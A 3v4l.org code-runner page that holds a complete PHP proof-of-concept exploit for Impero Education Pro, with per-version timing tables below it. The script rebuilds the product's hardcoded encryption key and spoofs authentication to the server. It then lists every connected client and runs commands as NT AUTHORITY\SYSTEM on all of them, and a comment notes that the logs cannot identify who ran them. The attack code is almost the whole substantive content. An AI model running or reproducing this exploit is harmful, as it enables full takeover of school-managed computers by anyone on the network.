3v4l.org

run code in 300+ PHP versions simultaneously
<?php // Impero Education Pro SYSTEM-RCE PoC // by slipstream/RoL^LHQ // greets to everyone in lizardhq! :) function PadString($str) { $size = 16; $pad = $size - (strlen($str) % $size); $padstr = ''; for ($i = 1; $i < $pad; $i++) $padstr .= chr(mt_rand(0,255)); return $str.$padstr.chr($pad); } function UnPadString($str) { return substr($str,0,-(ord(substr($str,-1)))); } function CryptString($str) { $hash = hash('sha512','Imp3ro',true); $key = substr($hash,0,0x20); $iv = substr($hash,0x20,0x10); $crypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,PadString($str),'cbc',$iv); return $crypted; } function DecryptString($str) { $hash = hash('sha512','Imp3ro',true); $key = substr($hash,0,0x20); $iv = substr($hash,0x20,0x10); return UnPadString(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$str,'cbc',$iv)); } function SendNetwork($h,$str) { global $socketid; $crypted = CryptString($socketid."|".$str); socket_write($h,strlen($crypted).'|'.$crypted); return; } function RecvNetwork($h) { $len = ''; $chr = ''; do { $len .= $chr; $chr = socket_read($h,1); } while ($chr != '|'); $len = (int)($len); if ($len < 1) die("Something's wrong. Length isn't an int."); socket_set_block($h); $crypted = socket_read($h,$len); $dec = DecryptString($crypted); global $socketid; $dec = explode('|',$dec,2); if ($socketid == -1) $socketid = $dec[0]; return $dec[1]; } function Connect($host,$port = 30015) { echo "Connecting..."; $h = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_set_block($h); if ((!$h) || (!socket_connect($h,$host,$port))) { echo "failed.\n"; return false; } echo "done!\nAuthenticating..."; // authenticate SendNetwork($h,"AUTHENTICATE\x02PASSWORD"); echo "done!\nWaiting for response..."; // we should get "AUTH:OK" back $data = RecvNetwork($h); if ($data != "AUTH:OK") { echo "authentication failed.\n"; return false; } echo "authentication succeeded!\nNegotiating..."; SendNetwork($h,"PING1\x02IE11WIN7\x03\x035003\x019f579e0f20cb18c8bc1ee4f2dc5d9aeb\x01c0d3fd41a05add5e6d7c8b64924bef86\x018dc3a6ceec8a51e1fd2e7e688db44417\x01d1554e349fc677e6011309683ac1b85b\x012b94f70093e484b8fc7f62a4670377ea"); // we get sent 4 loads of packets. discard all. for ($i = 0; $i < 4; $i++) { RecvNetwork($h); usleep(500000); } //SendNetwork($h,"-1|ANNOUNCE\x01600\x012\x01-1\x02IE11WIN7\x03IEUser\x03\x031\x03\x030\x031\x036\x0308:00:27:85:C5:CD,08:00:27:D0:C2:E1\x0310.0.2.15,192.168.56.101\x035003\x032015-06-11 12:17:19\x0310.0.2.255,192.168.56.255\x03None,Everyone,Users,INTERACTIVE,CONSOLE LOGON,Authenticated Users,This Organization,Local account,LOCAL,NTLM Authentication\x035003\x032.0.50727.5485\x03IE11WIN7\x03NODOMAIN"); echo "done!\n"; return $h; } function GetAllClients($h) { $pline = "SENDCLIENTS\x01604\x011\x010\x02"; echo "Getting all clients..."; SendNetwork($h,$pline); $data = RecvNetwork($h); // grab the base64 blob $data = array_pop(explode("\x02",$data)); // unbase64 and uncompress $data = gzdecode(base64_decode($data)); $ret = array(); foreach (explode("\r\n",$data) as $line) { // we only care about clientIDs $ret[] = array_shift(explode("\x03",$line)); } echo "done!\n"; return $ret; } function RunCmd($h,$ids,$cmdline) { global $socketid; $ids = implode(',',$ids); $pline = "ECHO\x01\x01".$ids."\x01SENDCOMMANDMSG\x010\x02\x01\x01".$cmdline; echo "Sending evil RunCMD data..."; SendNetwork($h,$pline); echo "done!\n"; // if this was a real proper negoiated client we'd get something back // however, we aren't, and we're masquerading as client #0; thus, we don't. // this does show up in logs, with the executed command. however, the server doesn't know who ran it, so it shows up as "unknown". :) } function RunExeAsSystem($h,$ids,$exe) { global $socketid; $ids = implode(',',$ids); $pline = "ECHO\x01\x01".$ids."\x01OPENFILE\x010\x02".$exe."\x08\x08NT AUTHORITY\SYSTEM\x08Password"; echo "Sending evil RunEXE data..."; SendNetwork($h,$pline); echo "done!\n"; // we don't get a response from this one } function FindImperoServer($if,$addr) { $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); socket_set_option($sock,SOL_SOCKET,IP_MULTICAST_IF,$if); $str = "ARE_YOU_IMPERO_SERVER"; socket_sendto($sock, $str, strlen($str), MSG_DONTROUTE, $addr, 30016); socket_set_option($sock,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>6,"usec"=>0)); $r = socket_recvfrom($sock, $buf, 18, 0, $remote_ip, $remote_port); if ($buf == "I_AM_IMPERO_SERVER") return $remote_ip; return false; } $socketid = -1; echo "[*] Impero Education Pro SYSTEM-RCE PoC by slipstream/RoL^LHQ\n"; if ($argc < 2) { echo "[-] Usage: ".$argv[0]." <serverIPs space-delimited>\n"; echo "[*] If you pass \"detect <if> <broadcastmask>\" (without quotes) as serverIP then we will try to find an impero server, using interface and broadcast mask given.\n"; echo "[*] Example of this: ".$argv[0]." detect vboxnet0 192.168.56.255\n"; echo "[*] This PoC will pop a calc and run whoami > C:\lol.txt as SYSTEM on *every connected client*!\n"; die(); } array_shift($argv); foreach ($argv as $key=>$arg) { $detected = false; if ($arg == "detect") { if ($key + 2 >= count($argv)) continue; echo "[*] Finding Impero server...\n"; $arg = FindImperoServer($argv[$key+1],$argv[$key+2]); if ($arg == false) die("[-] Cannot find Impero server\n"); echo "[+] Found Impero server at ".$arg."\n"; $detected = true; } $h = Connect($arg); if ($h === false) continue; $clients = GetAllClients($h); RunExeAsSystem($h,$clients,"calc"); RunCmd($h,$clients,"whoami > C:\lol.txt"); echo "\n"; if ($detected) die(); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.1.70.0000.00816.84
7.1.60.0180.00719.59
7.1.50.0060.00616.89
7.1.00.0030.07722.41
7.0.200.0000.00716.47
7.0.100.0230.06320.15
7.0.90.0270.05320.00
7.0.80.0270.06020.04
7.0.70.0200.07319.97
7.0.60.0030.08720.13
7.0.50.0270.07720.46
7.0.40.0030.07720.04
7.0.30.0130.07720.04
7.0.20.0070.07720.00
7.0.10.0100.07720.04
7.0.00.0070.05320.10
5.6.280.0070.07021.20
5.6.250.0130.07720.71
5.6.240.0100.08720.57
5.6.230.0170.07720.65
5.6.220.0100.06020.73
5.6.210.0030.05320.81
5.6.200.0100.07721.02
5.6.190.0070.07721.16
5.6.180.0100.05721.02
5.6.170.0100.08021.09
5.6.160.0130.07721.10
5.6.150.0200.07021.16
5.6.140.0130.08021.19
5.6.130.0100.06721.16
5.6.120.0030.05321.08
5.6.110.0070.05721.13
5.6.100.0030.04321.07
5.6.90.0030.04721.12
5.6.80.0100.06720.45
5.6.70.0100.07320.50
5.6.60.0070.04020.44
5.6.50.0070.08320.49
5.6.40.0070.06720.55
5.6.30.0000.08320.36
5.6.20.0070.08020.43
5.6.10.0170.05720.43
5.6.00.0100.08020.46
5.5.380.0070.04320.50
5.5.370.0030.04320.47
5.5.360.0100.08720.39
5.5.350.0070.08020.50
5.5.340.0100.07320.93
5.5.330.0070.08320.86
5.5.320.0170.06320.88
5.5.310.0070.05020.83
5.5.300.0170.06720.99
5.5.290.0100.08320.85
5.5.280.0100.06720.96
5.5.270.0030.04320.69
5.5.260.0030.06720.88
5.5.250.0030.07320.78
5.5.240.0030.08720.27
5.5.230.0000.05020.31
5.5.220.0100.07720.17
5.5.210.0070.07720.26
5.5.200.0070.06720.24
5.5.190.0030.07720.18
5.5.180.0070.07720.14
5.5.160.0100.06020.33
5.5.150.0100.07020.20
5.5.140.0100.07020.16
5.5.130.0070.07020.14
5.5.120.0000.05320.18
5.5.110.0070.05720.23
5.5.100.0000.08320.14
5.5.90.0070.07020.10
5.5.80.0070.07020.21
5.5.70.0130.06720.03
5.5.60.0100.06320.20
5.5.50.0000.04320.18
5.5.40.0070.07020.20
5.5.30.0000.04320.13
5.5.20.0130.04720.11
5.5.10.0070.04320.18
5.5.00.0070.07020.10
5.4.450.0100.07319.28
5.4.440.0100.07719.23
5.4.430.0070.07019.50
5.4.420.0000.04319.20
5.4.410.0070.03719.34
5.4.400.0070.07019.18
5.4.390.0070.06019.23
5.4.380.0100.06318.85
5.4.370.0100.05318.91
5.4.360.0200.06319.06
5.4.350.0100.05719.25
5.4.340.0130.07319.24
5.4.320.0070.05719.03
5.4.310.0030.05019.16
5.4.300.0030.04018.89
5.4.290.0070.04019.18
5.4.280.0100.07319.13
5.4.270.0070.06019.16
5.4.260.0070.07019.23
5.4.250.0100.04019.24
5.4.240.0170.07019.13
5.4.230.0070.08019.04
5.4.220.0030.04318.84
5.4.210.0130.06719.13
5.4.200.0070.07018.89
5.4.190.0030.05319.09
5.4.180.0130.07018.87
5.4.170.0000.04318.89
5.4.160.0030.08019.16
5.4.150.0100.03018.98
5.4.140.0130.05716.50
5.4.130.0170.02316.42
5.4.120.0130.06016.47
5.4.110.0000.07716.42
5.4.100.0030.04316.39
5.4.90.0170.04716.33
5.4.80.0030.06016.43
5.4.70.0070.04716.57
5.4.60.0100.06716.30
5.4.50.0070.03016.39
5.4.40.0030.07316.52
5.4.30.0030.03316.47
5.4.20.0030.07716.35
5.4.10.0030.04016.37
5.4.00.0030.07315.84

preferences:
45.47 ms | 400 KiB | 5 Q